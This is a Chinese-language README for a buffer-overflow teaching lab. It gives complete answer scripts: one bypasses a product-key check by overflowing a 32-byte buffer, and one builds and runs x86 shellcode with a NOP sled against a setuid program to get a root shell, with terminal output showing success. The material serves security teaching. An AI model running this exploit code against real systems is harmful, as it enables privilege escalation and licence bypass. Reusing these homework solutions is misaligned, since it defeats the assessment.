lab01
参考资料:
文件说明
lab01/
├── sp.c # 一段简单的代码,获取当前栈的起始内存位置
├── overflow1.c # 一个演示利用缓存漏洞执行shellcode的demo
├── vulnerable.c # 一个有缓存溢出漏洞的程序
├── exploit2.c # 利用缓存溢出漏洞,生成放在缓存中的包含shellcode的字符串放置于环境变量中
├── exploit3.c # 利用缓存溢出漏洞,生成放在缓存中的包含shellcode的字符串放置于环境变量中
├── exploit4.c # 利用缓存溢出漏洞,生成放在缓存中的包含shellcode的字符串放置于环境变量中
├── Makefile
├── README.md # 说明文档
├── product_register.c # 作业1有缓存溢出漏洞的代码
├── prod_register.sh # 作业1答案
├── test.html
├── is_valid_html.c # 作业2有缓存溢出漏洞的代码
└── validate_html.sh # 作业2答案
sp.c、overflow1.c、vulnerable.c、exploit2.c、exploit3.c、exploit4.c=> 均为参考教程 smash the stack 中的示例代码,详情可参考该教程
作业1
-
要求
You are a security researcher and you have been provided a software by a company that validates the product keys that users enter. Your contact at the company is concerned about the security of the software as more “registered” users are downloading their content than the registered users. You have been provided with product register program (along with its source code) which takes a product key and checks and prints whether it a valid one. For simplicity, your contact has currently set “123456” as the valid registration key.This application has several bugs. For the purpose of this lab, you are required to exploit the buffer overflow vulnerability so that the program always says the supplied key is a valid one.You are required to submit a shell script,
prod_register.sh, that invokes product register with appropriate arguments to exploit this vulnerability. For testing purposes, you can assume that the product register program resides in the same folder as the script. -
答案
prod_register.sh#!/bin/bash # 定义了一个变量param,取出脚本执行时的第一个参数赋值给变量param # eg. 脚本是这样执行的: ./prod_register.sh xxx # 那么变量param的值为 xxx param=$1 # 目标代码中缓存的大小 BUF_LEN=32 TARGET=33 # 如果输出的字符串长度大于BUF_LEN,则只截取前BUF_LEN个字符构成子串 if [ ${#param} -gt ${BUF_LEN} ] then param=${param:0:32} # 我们期望得到一个长度为 BUF_LEN + 1,这边即为33的字符串,长度不够时,用\x01填充 # 下面一行计算我们需要填充几个字符 remain_padding=`expr ${TARGET} - ${#param}` # 往param后面填充remain_padding个字符 while (( ${remain_padding}>0 )) do param=$param`echo -e "\x01"` let "remain_padding--" done # 输出我们执行的命令和参数(只是打印到控制台展示,没有也可以,不影响逻辑) echo "./product_register "${param} # 用我们构造的参数调用目标代码,达到利用缓存溢出漏洞使得任意传参都能通过验证 ./product_register $param -
使用
只要将
prod_register.sh与 product_register 程序放在同一个目录下,然后执行:./prod_register.sh <密码> # 示例如下 ./prod_register.sh 123 ./prod_register.sh 123456 ./prod_register.sh 123sdvnsadvsvds执行结果展示:
lab01@lab01-VirtualBox:~/lab01$ ./prod_register.sh 123 ./product_register 123 Product Key Accepted!!! lab01@lab01-VirtualBox:~/lab01$ ./prod_register.sh 123456 ./product_register 123456 Product Key Accepted!!! lab01@lab01-VirtualBox:~/lab01$ ./prod_register.sh 123sdvnsadvsvds ./product_register 123sdvnsadvsvds Product Key Accepted!!!
作业2
-
要求
You have stumbled on a buggy browser application. It provides a utility, is valid html, to test whether the file provided as an argument is a valid html file (note that it usesterrible heuristics to do so). This program has suid bit set. It also has at least one known bug. In this part, you will exploit this buffer overflow bug to gain root privilege. You are required to submit a shell script, validate html.sh, that invokes is valid html with appropriate arguments to exploit the vulnerability and gain root privileges. Your script should do so without crashing or unclean exit. For testing purposes, you can assume that the
is_valid_htmlprogram resides in the same folder as the script. -
关于bug
-
答案
validate_html.sh#!/bin/bash # 下面一大段,就是将一个参考exploit4.c修改后的代码,写入到一个临时文件exploit.c中 ( cat <<EOF #include <stdio.h> #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; # 设置一个环境变量EGG,其中存储了我们构造的shellcode,在shellcode前面填充了很多NOP # 以此来增大命中该区域的概率 memcpy(egg,"EGG=",4); putenv(egg); # 设置一个环境变量RET,其大小为我们指定的缓存大小,里面存放的是我们猜测的shellcode可能存放的内存地址 memcpy(buff,"RET=",4); putenv(buff); # 根据上面生成的参数,去调用目标代码,利用缓存溢出bug打开一个shell,并获取root权限 system("/bin/bash -c \"./is_valid_html .html\$RET\""); } EOF ) > exploit.c # 编译零时文件 exploit.c gcc -o exploit exploit.c -z execstack -fno-stack-protector -g # 执行该代码,指定缓存大小为26(该值是几次尝试所得,也可以用gdb调试看内存判断) ./exploit 26 # 将临时文件删除 rm exploit exploit.c -
使用
只要将
validate_html.sh与is_valid_html程序放在同一个目录下,然后执行:./validate_html.sh执行的结果展示如下:
lab01@lab01-VirtualBox:~/lab01$ ./validate_html.sh exploit.c: In function ‘main’: exploit.c:36:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long int’ [-Wformat] exploit.c:44:29: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default] exploit.c:53:3: warning: incompatible implicit declaration of built-in function ‘memcpy’ [enabled by default] Using address: 0xbffff688 # whoami root # -
!! 关于执行上述脚本之后进入shell,但是
whoami命令的执行结果是 lab01 而不是 root 的问题-
chmod a+s <文件名>chmod命令执行上述命令可以使得在文件执行时把进程的属主或组ID置为该文件的文件属主。=> 换句话说,如果某个文件经过上述命令授权之后,该程序在执行的时候会暂时获得文件所有者的权限,也就是说,如果我们一个文件的所有者是
root,但是其他用户也有执行它的权限,那么当其他用户执行这个文件的时候,可以短暂的获得root权限。 -
在给出的虚拟机镜像中,默认的
is_valid_html是已经被处理过的,但是如果我们用make命令重新编译之后,文件被重新生成了,属主变成了lab01,可以通过下述命令查看权限和属主:ls -ltrh is_valid_html展示如下结果:
-rwxrwxr-x 1 lab01 lab01 10K Sep 29 22:20 is_valid_html可以看出此时文件的属主是lab01,也没有 +s 权限
-
如果此时我们执行我们的脚本,进入shell后,调用
whoami命令获取到的就不是root,而是lab01./validate_html.sh展示的结果如下:
lab01@lab01-VirtualBox:~/lab01$ ./validate_html.sh exploit.c: In function ‘main’: exploit.c:36:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long int’ [-Wformat] exploit.c:44:29: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default] exploit.c:53:3: warning: incompatible implicit declaration of built-in function ‘memcpy’ [enabled by default] Using address: 0xbffff698 $ whoami lab01 -
因此,我们如果重新编译了
is_valid_html,则需要执行以下几个命令对文件的权限进行处理# 将文件的属主指定为root sudo chown root is_valid_html # 给所有用户赋予对该文件的s权限 sudo chmod a+s is_valid_html此时再次查看文件的权限和属主:
ls -ltrh is_valid_html展示的结果如下:
-rwsrwsr-x 1 root lab01 10K Sep 29 22:20 is_valid_html可以看到,属主变成了root,s权限也加上了
-
此时再次执行我们的脚本,变可以在shell中获得root权限了
./validate_html.sh展示结果如下:
lab01@lab01-VirtualBox:~/lab01$ ./validate_html.sh exploit.c: In function ‘main’: exploit.c:36:3: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 2 has type ‘long int’ [-Wformat] exploit.c:44:29: warning: incompatible implicit declaration of built-in function ‘strlen’ [enabled by default] exploit.c:53:3: warning: incompatible implicit declaration of built-in function ‘memcpy’ [enabled by default] Using address: 0xbffff698 # whoami root
-